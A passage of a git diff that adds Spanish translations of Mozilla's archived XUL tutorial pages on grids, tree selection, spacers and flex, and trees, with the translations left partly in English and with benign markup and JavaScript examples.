+<p>There is no means of making a cell span a particular number of multiple columns or rows (See <a> Discussion</a> for a way of achieving the same effect). However, it is possible to make a row or column that spans the entire width or height of the grid. To do this, just add an element inside the <code>rows</code> element that isn't inside a <code>row</code> element. You can use a box type for example, and put other elements inside it if you want to use several elements. Here is a simple example:</p>
+<h4 id="Example" name="Example">Example</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_5.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_5.xul">Ver en funcionamiento</a></p>
+<pre>&lt;grid&gt;
+  &lt;columns&gt;
+    &lt;column flex="1"/&gt;
+    &lt;column flex="1"/&gt;
+  &lt;/columns&gt;
+
+  &lt;rows&gt;
+    &lt;row&gt;
+      &lt;label value="Northwest"/&gt;
+      &lt;label value="Northeast"/&gt;
+    &lt;/row&gt;
+    &lt;button label="Equator"/&gt;
+    &lt;row&gt;
+      &lt;label value="Southwest"/&gt;
+      &lt;label value="Southeast"/&gt;
+    &lt;/row&gt;
+  &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p>The button will stretch to fit the entire width of the grid as it is not inside a grid row. You can use a similar technique to add an element in-between two columns. It would stretch to fit the height of the grid. You could also do both if that is desired.</p>
+<p>(Siguiente) A continuación veremos características adicionales de las cajas de lista.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/selección_en_un_árbol/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/selección_en_un_árbol/index.html
new file mode 100644
index 0000000000..e9d0cbe0a0
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/selección_en_un_árbol/index.html
@@ -0,0 +1,94 @@
+---
+title: Selección en un árbol
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Selección_en_un_árbol
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Tree_Selection
+---
+<p>Esta sección describe como obtener y definir los elementos seleccionados en un arbol.</p>
+
+<h3 id="Obteniendo_los_elementos_seleccionados" name="Obteniendo_los_elementos_seleccionados">Obteniendo los elementos seleccionados</h3>
+
+<p>Cada elemento en un árbol (que corresponde al elemento <code><a href="es/XUL/Elementos/treeitem">treeitem</a></code> -<code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_treeitem.html">en)</a></code>- si se usa la vista del contenido del árbol ) puede ser seleccionado individualmente. Si añades el atributo <code><a href="es/XUL/Atributos/seltype">seltype</a></code> a un árbol y tiene el valor múltiple, el usuario puede seleccionar diversos elementos del árbol al mismo tiempo. La selección no tiene porque ser continua. El árbol provee un número de funciones que nos ayudan a determinar que elementos están seleccionados.</p>
+
+<h4 id="Gesti.C3.B3n_del_evento_de_selecci.C3.B3n" name="Gesti.C3.B3n_del_evento_de_selecci.C3.B3n">Gestión del evento de selección</h4>
+
+<p>Primero veamos como podemos determinar si un elemento esta seleccionado. El gestor de eventos <code><a href="es/XUL/Atributos/tree.onselect">onselect()</a></code> puede incluirse en el elemento <code><a href="es/XUL/Elementos/tree">tree</a></code> -(<code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_tree.html">en)</a></code>)-. Cuando el usuario selecciona un elemento del árbol, el gestor de eventos es llamado. El usuario puede también cambiar la selección usando las teclas del cursor. Si el usuario mantiene pulsadas las teclas del cursor para rápidamente desplazarse por los elementos, el gestor de eventos no es llamado hasta que el usuario deja de presionarlas. Esto ofrece una mayor rapidez y también implica que los elementos se mostrarán como seleccionados aunque nunca se llame al evento select para ellos.</p>
+
+<p>La sintaxis para el gestor de eventos <code>onselect</code> es la siguiente.</p>
+
+<pre>&lt;tree id="treeset" onselect="alert('Has seleccionado algo!');"&gt;
+</pre>
+
+<h4 id=".C3.8Dndices_del_.C3.A1rbol" name=".C3.8Dndices_del_.C3.A1rbol">Índices del árbol</h4>
+
+<p>El árbol expone la propiedad <code><a href="es/XUL/Propiedades/currentIndex">currentIndex</a></code> que podemos usar para obtener el elemento actualmente seleccionado, siendo el índice del primero 0. Puedes cambiar el elemento seleccionado si le asignas un nuevo valor a esta propiedad.</p>
+
+<p>Los elementos hijos son incluidos en el contador justo después de sus padres. Esto significa que si hay tres elementos en la raíz y cada uno tiene 2 hijos, habrá un total de nueve elementos. El primer elemento (índice 0) será el primer elemento raíz, el siguiente (índice 1) será el primer hijo, el segundo hijo estará en el índice 2 y el segundo elemento raíz en el índice 3 y así sucesivamente.</p>
+
+<p><img alt="Image:seltree1.jpg"></p>
+
+<p>En la imagen vemos ocho filas, de las cuales dos están seleccionadas. La primera fila seleccionada tiene el índice 4 y la segunda el índice 7. Las filas que no se muestran no se incluyen en el contador de índices.</p>
+
+<h4 id="Selecci.C3.B3n_m.C3.BAltiple" name="Selecci.C3.B3n_m.C3.BAltiple">Selección múltiple</h4>
+
+<p>Para los árboles que permiten selecciones múltiples, obtener la lista de filas seleccionadas es algo más complicado. El elemento árbol tiene la propiedad <code>view</code>, la cual tiene la propiedad <code>selection</code> que a su vez contiene propiedades y métodos relacionados con la selección actual del árbol. Puedes usar esos métodos para obtener un conjunto de elementos seleccionados o modificar la selección.</p>
+
+<p>Ya que los elementos seleccionados en un árbol no tienen porque estar contiguos, puedes obtener distintos grupos de elementos seleccionados que sí lo están, usando las funciones <code>getRangeCount()</code> y <code>getRangeAt()</code>. La primera devuelve el número de rangos de selecciones que hay actualmente. Si solo hay un valor seleccionado, este valor será 1. Deberás utilizar un bucle para recorrer el número de rangos, llamando <code>getRangeAt()</code> en cada uno para obtener los índices del comienzo y fin del rango.</p>
+
+<p>La función <code>getRangeAt()</code> toma tres parámetros.</p>
+
+<ul>
+ <li>El primero es el índice del rango.</li>
+ <li>El segundo es un objeto que será rellenado por la función con el índice del primer elemento seleccionado.</li>
+ <li>El tercero es un objeto que será rellenado con el índice del último elemento seleccionado.</li>
+</ul>
+
+<h5 id="Ejemplo_con_getRangeAt" name="Ejemplo_con_getRangeAt">Ejemplo con <code>getRangeAt</code></h5>
+
+<pre>var start = new Object();
+var end = new Object();
+var numRanges = tree.view.selection.getRangeCount();
+
+for (var t=0; t&lt;numRanges; t++){
+  tree.view.selection.getRangeAt(t,start,end);
+  for (var v=start.value; v&lt;=end.value; v++){
+    alert("El elemento "+v+" está seleccionado.");
+  }
+}
+</pre>
+
+<p>Hemos creado dos objetos llamados ‘start’ y ‘end’. Después hemos recorrido los rangos, el número de los cuales nos lo ha proporcionado la función <code>getRangeCount()</code>. Llamamos a la función <code>getRangeAt()</code> pasándole el índice del rango y los objetos ‘start’ y ‘end’. Estos objetos son devueltos con la propiedad 'value' rellenada. Así que si el primer rango es desde el tercer elemento hasta el séptimo, ‘start.value’ será 2 (recuerda que los índices cuentan desde 0) y ‘end.value’ será 6. Un dialogo de alerta se mostrará para cada índice seleccionado.</p>
+
+<p>If you just want to find out if a specific row is selected, use can use the <code>isSelected()</code> function. It takes a row index as an argument and returns true if that row is selected.</p>
+
+<pre>alert(tree.view.selection.isSelected(3));
+</pre>
+
+<h3 id="Modificando_la_selecci.C3.B3n_del_.C3.A1rbol" name="Modificando_la_selecci.C3.B3n_del_.C3.A1rbol">Modificando la selección del árbol</h3>
+
+<p>The selection object has a number of functions which may be used to change the selection. The simplest function is the <code><a href="es/XUL/M%c3%a9todos/select">select()</a></code> function, which deselects any rows that are currently selected and selects one specific row. For example, the following code will select the row at index 5:</p>
+
+<pre>tree.view.selection.select(5);
+</pre>
+
+<p>Note that you should not just change the tree's <code><a href="es/XUL/Propiedades/currentIndex">currentIndex</a></code> property to change the selection. Instead, you should use the selection's select function as in the example above. You can select all rows with the <code><a href="es/XUL/M%c3%a9todos/selectAll">selectAll()</a></code> function. Note that rows nested inside containers that are not open will not be selected. Naturally, this will only have any effect for trees that use multiple selection. There is also a <code><a href="es/XUL/M%c3%a9todos/clearSelection">clearSelection()</a></code> function to clear the selection, and an <code><a href="es/XUL/M%c3%a9todos/invertSelection">invertSelection</a></code> function to reverse the selection, that is, deselect all selected rows and select all unselected rows.</p>
+
+<p>To select specific rows, use the <code>rangedSelect()</code> function which selects all rows in between two indices. Here is an example which selects rows between index 2 and 7. Note that rows 2 and 7 will also be selected.</p>
+
+<pre>tree.view.selection.rangedSelect(2,7,true);
+</pre>
+
+<p>The last argument indicates whether to add to the current selection or not. If true, the range will be added to the existing selection. If false, all existing selected rows will be deselected first. Finally, the <code>clearRange()</code> function may be used to deselect a range of rows, leaving rows outside the range unaffected.</p>
+
+<pre>tree.view.selection.clearRange(2,7);
+</pre>
+
+<p>Seguimos con como crear los <a href="es/Tutorial_de_XUL/Detalles_de_Vistas_de_un_%c3%a1rbol">detalles de vistas de un árbol</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Más_características_de_los_árboles" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Detalles_de_Vistas_de_un_árbol">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/usando_espaciadores/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/usando_espaciadores/index.html
new file mode 100644
index 0000000000..37bd1c2052
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/usando_espaciadores/index.html
@@ -0,0 +1,103 @@
+---
+title: Usando espaciadores
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Usando_espaciadores
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Using_Spacers
+---
+<p>En esta sección, averiguaremos como añadir algún espaciado en medio los elementos que hemos creado.</p>
+<h3 id="Adici.C3.B3n_de_Espaciadores" name="Adici.C3.B3n_de_Espaciadores">Adición de Espaciadores</h3>
+<p>Uno de los problemas con interfaces de usuario que se desarrollan es que cada usuario tiene una demostración diferente. Algunos usuarios pueden tener demostraciones más grandes con resoluciones más altas y los otros pueden tener resoluciones inferiores. Además, plataformas diferentes pueden tener exigencias especiales sobre el interfaz de usuario. Añadiendo el apoyo a múltiples lenguas, el texto para una lengua puede requerir más espacio(cuarto) que el otro.</p>
+<p>Los usos que tienen que apoyar múltiples plataformas y lenguas por lo general tienen sus ventanas presentadas con mucho espacio para tener esto en cuenta. Algunas plataformas y juegos de herramientas de interfaz de usuario proporcionan los componentes con capacidad para autoajustar sus dimensiones y establecer su nueva posición por sí mismos para adaptarse a las necesidades del usuario. (por ejemplo: Java usa a administradores de disposición.)</p>
+<p>XUL dota a los elementos con capacidad para ajustar la posición y redimensionarse automáticamente. Como hemos visto, en el ejemplo, la ventana de archivos del buscador ha cambiado su tamaño de modo que los elementos quepan correctamente dentro de ella. Cada vez agregamos algo, la ventana ha crecido.</p>
+<p>XUL usa un sistema de disposición (capas) llamado <strong>'Modelo de Cajas' </strong>que permite dividir las ventanas en conjuntos de 'cajas', anidables, para albergar los elementos. Hablaremos más de esto en la siguiente sección. Las cajas pueden ser ubicadas y redimensionadas asignando valores a sus propiedades directamente o mediante hojas de estilo. Por ahora, basta saber que el elemento de <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_window.html">ventana</a></code> es un tipo de caja.</p>
+<p>Antes de entrar en el detalle sobre las cajas, introduciremos otro elemento XUL que es útil para controlar la disposición, el <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_spacer.html">espaciador</a></code>. Un espaciador es muy simple y sólo requiere un atributo, que será explicado en un momento. El espaciador más simple se parece a lo siguiente:</p>
+<pre class="eval">&lt;spacer flex= "1" /&gt;
+</pre>
+<p>Un espaciador es usado para insertar un espacio vacío entre dos grupos de elementos que se encuentran dentro de un mismo contenedor (ventana o caja). Su función es crecer o encogerse cuando el usuario redimensiona la ventana, de modo que los elementos situados a su derecha, o debajo, sean empujados hacia los bordes (derecho o inferior, según sea el caso) y se mantenjan 'justificados'. Esto equivale a forzar a un grupo de elementos a mantenerse pegados al borde (derecho o inferior) de su contenedor (ventana) con independencia del tamaño adoptado por el mismo. Como veremos, es posible usar espaciadores para crear variados efectos de disposición.</p>
+<p>En la sintaxis, mostrada arriba, el espaciador tiene un atributo llamado <code>flex</code>. Se usa para establecer la flexibilidad del espaciador. En el caso mostrado, el espaciador tiene un <code>flex </code>de 1. Este valor hace que el elemento espaciador sea elástico; y al insertarlo directamente dentro de una ventana, crecerá hasta copar el espacio disponible dentro de la misma (se descuenta el empleado por otros elementos). Si la ventana cambia su tamaño, el espaciador se ajustará para mentener copado el espacio disponible dentro de la misma. En breve añadiremos un espaciador a nuestro diálogo de búsqueda. Pero antes demos un vistazo a la ventana de diálogo cuando es redimensionada (para comparar, luego, con el efecto logrado al usar el espaciador).</p>
+<div class="highlight">
+ <p> <img alt="find-dlg-nospacer.jpg" class="internal default" src="/@api/deki/files/4784/=find-dlg-nospacer.jpg"></p>
+ <p>Como se puede observar, todos los elementos han mantenido sus posiciones al cambiar el tamaño de la ventana; a pesar de que el espacio ofrecido por la misma para alijarlos el más grande. Veamos lo que ocurre al insertar un espaciador entre la caja de texto (textbox) y el botón buscar (Find).</p>
+ <p><img alt="find-dlg-wthspacer.jpg" class="internal default" src="/@api/deki/files/4785/=find-dlg-wthspacer.jpg"></p>
+ <p>Al agregar el espaciador y redimensinar la ventana, podemos ver que se expande para copar el vacío y los botones son empujados hacia la derecha.  El código para insertar el espaciador en el ejemplo es el siguiente: (insértelo inmediatamente antes del botón buscar - 'find-button')</p>
+ <pre class="eval"><span class="highlightred">&lt;spacer flex="1"/&gt;</span>
+
+&lt;button id="find-button" label="Find"/&gt;
+</pre>
+</div>
+<h3 id="More_About_Flexibility" name="More_About_Flexibility">Más acerca de la Flexibilidad</h3>
+<p>XUL dispone los elementos en una ventana calculando dimensiones (ancho y alto) adecuadas para los elementos que contiene y luego agrega espacio, si hace falta, dónde sean flexibles. Salvo, aquellos elementos cuyas dimensiones hayan sido especificadas esplícitamente. El tamaño por defecto de un elemento es determinado por su contenido. Nótese, por ejemplo, que los botones 'find', 'cancel' tiene dimensiones ligeramente distintas de modo que ofrecen suficiente espacio para el texto en su interior. Si se crea un botón con una etiqueta muy larga su tamaño por defecto será el necesario para poder mostrar la etiqueta completa. Otros elementos, tales como las cajas de texto 'textbox' tienen un tamaño por defecto ajustado a su propósito.</p>
+<p>El atributo <code>flex</code> se emplea para establecer si un elemento puede autoajustar sus dimensiones para copar la 'caja' que lo contiene. (en este caso, la ventana). El atributo <code>flex </code>no sólo aplica para los espaciadores; puede ser establecido para cualquier elemento. Por ejemplo, podríamos querer que se reajustase el botón buscar (find-button) en lugar de empujarlo, sin necesidad de que se autoajuste el espaciador.</p>
+<p><img alt="find-dlg-flexbttn.jpg" class="internal default" src="/@api/deki/files/4786/=find-dlg-flexbttn.jpg"></p>
+<p>Como se puede ver en la imagen, el establecer el atributo <code>flex </code>en el botón buscar, éste último se reajusta cuando la ventana lo hace. Un espaciador, en realidad, no es nada especial. Puede ser considerado como un botón oculto: opera sobre el espacio pero sin dibujarse en la pantalla.</p>
+<p>Si se observa con cuidado la imagen arriba, se puede notar que no sólo creció el tamaño del votón buscar (find); también aparece un espacio vacío entre él y la etiqueta de texto. Desde luego, es consecuencia de que allí se encuentra el espaciador que ubicamos más arriba. El también se ha reajustado en tamaño. Una observación atenta evidenciará que el espacio disponible fue dividido entre los dos elementos que tienen establecido el atributo flex: el espaciador y el botón buscar. Cada uno de ellos recibió la mitad del espacio libre, disponible, para ajustar su tamaño.</p>
+<h4 id="Proporcionalidad_de_la_flexibilidad_(del_atributo_flex)">Proporcionalidad de la flexibilidad (del atributo flex)</h4>
+<p>La razón por la que observamos el efecto anotado es la siguiente: tanto el espaciador como el botón tienen establecido su su atributo <code>flex </code>a 1. (<code>flex="1"</code>); ésto hace que se repartan de modo equivalente el espacio disponible. Pero, tambien es posible lograr un reparto del espacio sujeto a otras condiciones de proporcionalidad:</p>
+<p>¿Qué pasaría en caso de desear que un elemento tome dos veces más espacio libre que otro? ¿Cómo lograrlo? -  Se puede usar números mayores que 1 como varores del atributo <code>flex</code>. Los valores de este atributo establecen una razón de proporcionalidad. Determinan cuántas partes del espacio disponible serán entragadas a cada uno de los elementos que lo tengan establecido. Si un elemento tiene su <code>flex </code>en 1 y otro tiene un <code>flex </code>de 2, el espacio libre será dividido en tres partes y se entregará 1 al primero y 2 al segundo; de modo que la razón de crecimiento, entre ellos, será  1:2; el segundo crecerá dos veces más que el primero.</p>
+<p>The <code>flex</code> attribute isn't used to specify an actual size. Instead, it specifies how empty space it divided among the children of a container box. We'll look at boxes in the next section. Once the default sizes of the children of a box are determined, the flexibility values are used to divide up the remaining empty space in the box. For example, if a box is 200 pixels wide and contains two flexible buttons, the first 50 pixels and the other 90 pixels, there will be 60 pixels of space left over. If both buttons have a flex value of 1, the space will be divided evenly with 30 extra pixels of width going to each button. If the second button's flexibility was increased to 2, the first button would receive 20 pixels of the extra space and the second button would receive 40 pixels of extra space instead.</p>
+<p>The <code>flex</code> attribute can be placed on any element, however it only has any meaning when placed on an element directly inside a XUL box. This means that even though you can place a <code>flex</code> on an HTML element, it will have no effect if that element is inside a non-box element.</p>
+<p>Let's look at some examples:</p>
+<pre class="eval">Example 1:
+  &lt;button label="Find" flex="1"/&gt;
+  &lt;button label="Cancel" flex="1"/&gt;
+
+Example 2:
+  &lt;button label="Find" flex="1"/&gt;
+  &lt;button label="Cancel" flex="10"/&gt;
+
+Example 3:
+  &lt;button label="Find" flex="2"/&gt;
+  &lt;button label="Replace"/&gt;
+  &lt;button label="Cancel" flex="4"/&gt;
+
+Example 4:
+  &lt;button label="Find" flex="2"/&gt;
+  &lt;button label="Replace" flex="2"/&gt;
+  &lt;button label="Cancel" flex="3"/&gt;
+
+Example 5:
+  &lt;html:div&gt;
+    &lt;button label="Find" flex="2"/&gt;
+    &lt;button label="Replace" flex="2"/&gt;
+  &lt;/html:div&gt;
+
+Example 6:
+  &lt;button label="Find" flex="145"/&gt;
+  &lt;button label="Replace" flex="145"/&gt;
+</pre>
+<dl>
+ <dt>
+  Example 1 </dt>
+ <dd>
+  in this case the flexibility is divided up evenly between both buttons. Both buttons will change size evenly.</dd>
+ <dt>
+  Example 2 </dt>
+ <dd>
+  here, both buttons will grow, but the Find button will grow ten times as much as the Cancel button, because it has a flex value that is 10 times the flex value of the Find button. Available space will be divided into one part for the Find button and 10 parts for the Cancel button.</dd>
+ <dt>
+  Example 3 </dt>
+ <dd>
+  only two of the buttons are marked as flexible here. The Replace button will never change size but the other two will. The Cancel button will always resize twice as large as the Find button because its flex value is twice as large.</dd>
+ <dt>
+  Example 4 </dt>
+ <dd>
+  in this case, all three buttons are flexible. Both the Find and Replace buttons will be the same size but the Cancel button will be somewhat larger (50% larger to be exact).</dd>
+ <dt>
+  Example 5 </dt>
+ <dd>
+  here, the two buttons are placed inside a <code>div</code> element. Flexibility is meaningless here as the buttons are not directly in a box. The effect would be the same if the <code>flex</code> attributes were left out.</dd>
+ <dt>
+  Example 6 </dt>
+ <dd>
+  because the flex values are the same on both buttons, their will flex equally. This would work just as well with flex values of one instead of 145. There's no difference in this case. It is recommended that you use lower numbers for readability.</dd>
+</dl>
+<p>Note that other factors such as the button labels and button minimum sizes will affect the actual sizes of the buttons. For instance, a button won't shrink less than the space needed to fit its label.</p>
+<p>Specifying a flex value of 0 has the same effect as leaving the <code>flex</code> attribute out entirely. It means that the element is not flexible at all. You may also sometimes see a flex value specified as a percentage. This has no special meaning and is treated as if the percent sign was not there.</p>
+<p>You may have noticed that when you resize the find file dialog vertically, the buttons resize themselves to fit the height of the window. This is because all of the buttons have an implied vertical flex given to them by the window. In the next section we'll learn how to change this.</p>
+<h3 id="Find_files_example_so_far" name="Find_files_example_so_far">Find files example so far</h3>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-springs.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-springs.xul">Ver en funcionamiento</a></p>
+<p>Next, we'll learn some additional features of buttons.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/árboles/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/árboles/index.html
new file mode 100644
index 0000000000..509017990e
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/árboles/index.html
@@ -0,0 +1,194 @@
+---
+title: Árboles
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Árboles
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Trees
+---
+<p>XUL provides a way to create tabular or hierarchical lists using a tree.</p>
+
+<h3 id="El_.C3.A1rbol" name="El_.C3.A1rbol">El árbol</h3>
+
+<p>One of the more complex elements in XUL is the <a href="/es/XUL/tree" title="es/XUL/tree">árbol</a>. A tree may be used to display rows of text in columns. It can be used with rows either in a flat list or arranged into a hierarchy. A tree also allows the user to rearrange, resize and hide individual columns. Some examples of trees include the list of messages in a mail application, or the Bookmarks window in Mozilla.</p>
+
+<p>In some ways, a tree has some similarities with the <code><a href="/es/XUL/listbox" title="es/XUL/listbox">listbox</a></code>. Both can be used to create tables of data with multiple rows and columns, and both may contain column headers. The tree also supports nested rows, whereas the listbox does not. However, listboxes may contain any type of content, whereas trees may only contain text and images. (Using advanced features, progress meters or checkboxes also can be added to the tree)</p>
+
+<p>A tree consists of two parts, the set of columns, and the tree body.</p>
+
+<ul>
+ <li>The set of columns is defined by a number of <code><a href="/es/XUL/treecol" title="es/XUL/treecol">treecol</a></code> elements, one for each column. Each column will appear as a header at the top of the tree.</li>
+ <li>The second part, the tree body, contains the data to appear in the tree and is created with a <code><a href="/es/XUL/treechildren" title="es/XUL/treechildren">treechildren</a></code> tag.</li>
+</ul>
+
+<p>The tree is unique in that the body of the tree consists only of a single widget which draws all of the data in the tree. This contrasts with the listbox, where individual <code><a href="/es/XUL/listitem" title="es/XUL/listitem">listitem</a></code> and <code><a href="/es/XUL/listcell" title="es/XUL/listcell">listcell</a></code> tags are used to specify the rows in the listbox. In a tree, all of the data to be displayed is supplied by a separate object, called a tree view. When it comes time to display a cell, the tree widget will call out to this tree view to determine what to display, which in turn will be drawn by the tree. The tree is smart enough to only ask for information from the view for those rows that need to be displayed. This allows the view to be optimized such that it only needs to load the data for displayed content. For instance, a tree might have thousands of rows, yet most of them will be scrolled off the border of the tree, hidden from view. This means that the tree is scalable to any number of rows without any performance problems. Of course, this is independant of the performance of the view object itself.</p>
+
+<p>A tree view is an object which implements the <a href="/es/NsITreeView" title="es/NsITreeView">nsITreeView</a> interface. This interface contains thirty properties and functions which you may implement. These functions will be called by the tree as necessary to retrieve data and state about the tree. For instance, the <code>getCellText()</code> function will be called to get the label for a particular cell in the tree.</p>
+
+<p>An advantage of using a tree view is that it allows the view to store the data in a manner which is more suitable for the data, or to load the data on demand as rows are displayed. This allows more flexibility when using trees.</p>
+
+<p>Naturally, having to implement a tree view with thirty or so properties and methods for every tree can be very cumbersome, especially for simple trees. Fortunately, XUL provides a couple of built-in view implementations which do most of the hard work for you. For most trees, especially when you first start to use trees, you will use one of these built-in types. However, you can create a view entirely from scratch if necessary. If you do, you might store the data in an <a href="/en/A_re-introduction_to_JavaScript#Arrays">array</a> or JavaScript data structure, or load the data from an XML file.</p>
+
+<p>Since the entire body of the tree is a single widget, you can't change the style of individual rows or cells in the normal way. This is because there are no elements that display the individual cells, like there is with the <a href="/es/Tutorial_de_XUL/Controles_de_listas#Cajas_de_lista_multi-columna" title="es/Tutorial_de_XUL/Controles_de_listas#Cajas_de_lista_multi-columna">caja de lista</a>. Instead, all drawing is done by the tree body using data supplied by the view. This is an important point and many XUL developers have trouble understanding this aspect. To modify the appearance of a tree cell, the view must instead associate a set of keywords for a row and cell. A special CSS syntax is used which styles components of the tree body with those keywords. In a sense, it is somewhat like using CSS classes. La estilización de un árbol es discutida con más detalles en una <a href="/es/Tutorial_de_XUL/Estilizando_un_árbol" title="es/Tutorial_de_XUL/Estilizando_un_árbol">sección posterior</a>.</p>
+
+<h3 id="Elementos_del_.C3.A1rbol" name="Elementos_del_.C3.A1rbol">Elementos del árbol</h3>
+
+<p>Trees can be created with the <code><a href="/es/XUL/Elementos/tree" title="es/XUL/Elementos/tree">tree</a></code> element, which is described in the following sections. There are also two elements used to define the columns to be displayed in the tree.</p>
+
+<dl>
+ <dt><a href="/es/XUL/Elementos/tree" title="es/XUL/Elementos/tree">tree</a></dt>
+ <dd>This is the outer element of a tree.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/XUL/Elementos/treecols" title="es/XUL/Elementos/treecols">treecols</a></dt>
+ <dd>This element is a placeholder for a set of <code><a href="/es/XUL/Elementos/treecol" title="es/XUL/Elementos/treecol">treecol</a></code> elements.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/XUL/Elementos/treecol" title="es/XUL/Elementos/treecol">treecol</a></dt>
+ <dd>This is used to declare a column of the tree. By using this element, you can specify additional information about how the data in the columns are sorted and if the user can resize the columns. You should always place an <code><a href="/es/XUL/Atributos/id" title="es/XUL/Atributos/id">id</a></code> attribute on a column, as Mozilla uses the ids to identify the columns when rearranging and hiding them. This is no longer required in Mozilla 1.8 and later, but it is still a good idea to use ids on columns.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/XUL/Elementos/treechildren" title="es/XUL/Elementos/treechildren">treechildren</a></dt>
+ <dd>This contains the main body of the tree where the individual rows of data will be displayed.</dd>
+</dl>
+
+<h5 id="Ejemplo_de_.C3.A1rbol_con_dos_columnas" name="Ejemplo_de_.C3.A1rbol_con_dos_columnas">Ejemplo de árbol con dos columnas</h5>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_trees_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;tree flex="1"&gt;
+
+  &lt;treecols&gt;
+    &lt;treecol id="nameColumn" label="Nombre" flex="1"/&gt;
+    &lt;treecol id="addressColumn" label="Dirección" flex="2"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren/&gt;
+
+&lt;/tree&gt;
+</pre>
+
+<p>First, the entire table is surrounded with a <code><a href="/es/XUL/Elementos/tree" title="es/XUL/Elementos/tree">tree</a></code> element. This declares an element that is used as a table or tree. As with HTML tables, the data in a tree is always organized into rows. The columns are specified using the <code><a href="/es/XUL/Elementos/treecols" title="es/XUL/Elementos/treecols">treecols</a></code> tag.</p>
+
+<p>You may place as many columns as you wish in a tree. As with <a href="/es/Tutorial_de_XUL/Controles_de_listas" title="es/Tutorial_de_XUL/Controles_de_listas">listboxes</a>, a header row will appear with column labels. A drop-down menu will appear in the upper-right corner of the tree, which the user may use to show and hide individual columns. Each column is created with a <code><a href="/es/XUL/Elementos/treecol" title="es/XUL/Elementos/treecol">treecol</a></code> element. You can set the header label using the <code>label</code> attribute. You may also want to make the columns flexible if your tree is flexible, so that the columns stretch as the tree does. In this example, the second column will be approximately twice as wide as the first column. All of the columns should be placed directly inside a <code><a href="/es/XUL/Elementos/treecols" title="es/XUL/Elementos/treecols">treecols</a></code> element.</p>
+
+<p>In this case we haven't specified a view to supply the tree's data, so we'll only see column headers and an empty tree body. You may have to resize the window to see anything since there isn't any data to display. Since the tree has been marked as flexible, the body will stretch to fit the available space. Making a tree flexible is quite commonly done, as it is often the case that the data in the tree is the most significant information displayed, so it makes sense to make the tree grow to fit. However, you may specify a specific number of rows to appear in a tree by setting the <code><a href="/es/XUL/Atributos/rows" title="es/XUL/Atributos/rows">rows</a></code> attribute on the <code><a href="/es/XUL/Elementos/tree" title="es/XUL/Elementos/tree">tree</a></code> element. This attribute specifies how many rows are displayed in the user interface, not how many rows of data there are. The total number of rows is supplied by the tree view. If there are more rows of data in the tree, a scrollbar will appear to allow the user to see the rest of them. If you don't specify the <code><a href="/es/XUL/Atributos/rows" title="es/XUL/Atributos/rows">rows</a></code> attribute, the default value is 0, which means that none of the rows will appear. In this case, you would make the tree flexible. If your tree is flexible, it doesn't need a <code><a href="/es/XUL/Atributos/rows" title="es/XUL/Atributos/rows">rows</a></code> attribute since it will grow to fit the available space.</p>
+
+<h3 id="Vista_del_contenido_del_.C3.A1rbol" name="Vista_del_contenido_del_.C3.A1rbol">Vista del contenido del árbol</h3>
+
+<p>Having said that the data to be displayed in a tree comes from a view and not from XUL tags, there happens to be a built-in tree view which gets its data from XUL tags. This may be a bit confusing, but essentially, one of the built-in tree views uses a set of tags which can be used to specify information about the data in the tree. The following tags are used:</p>
+
+<dl>
+ <dt><a href="/es/XUL/Elementos/treeitem" title="es/XUL/Elementos/treeitem">treeitem</a></dt>
+ <dd>This contains a single parent row and all its descendants. This element also serves as the item which can be selected by the user. The treeitem tag would go around the entire row so that it is selectable as a whole.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/XUL/Elementos/treerow" title="es/XUL/Elementos/treerow">treerow</a></dt>
+ <dd>A single row in the tree, which should be placed inside a <code><a href="/es/XUL/Elementos/treeitem" title="es/XUL/Elementos/treeitem">treeitem</a></code> tag.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/XUL/Elementos/treecell" title="es/XUL/Elementos/treecell">treecell</a></dt>
+ <dd>A single cell in a tree. This element would go inside a treerow element.</dd>
+</dl>
+
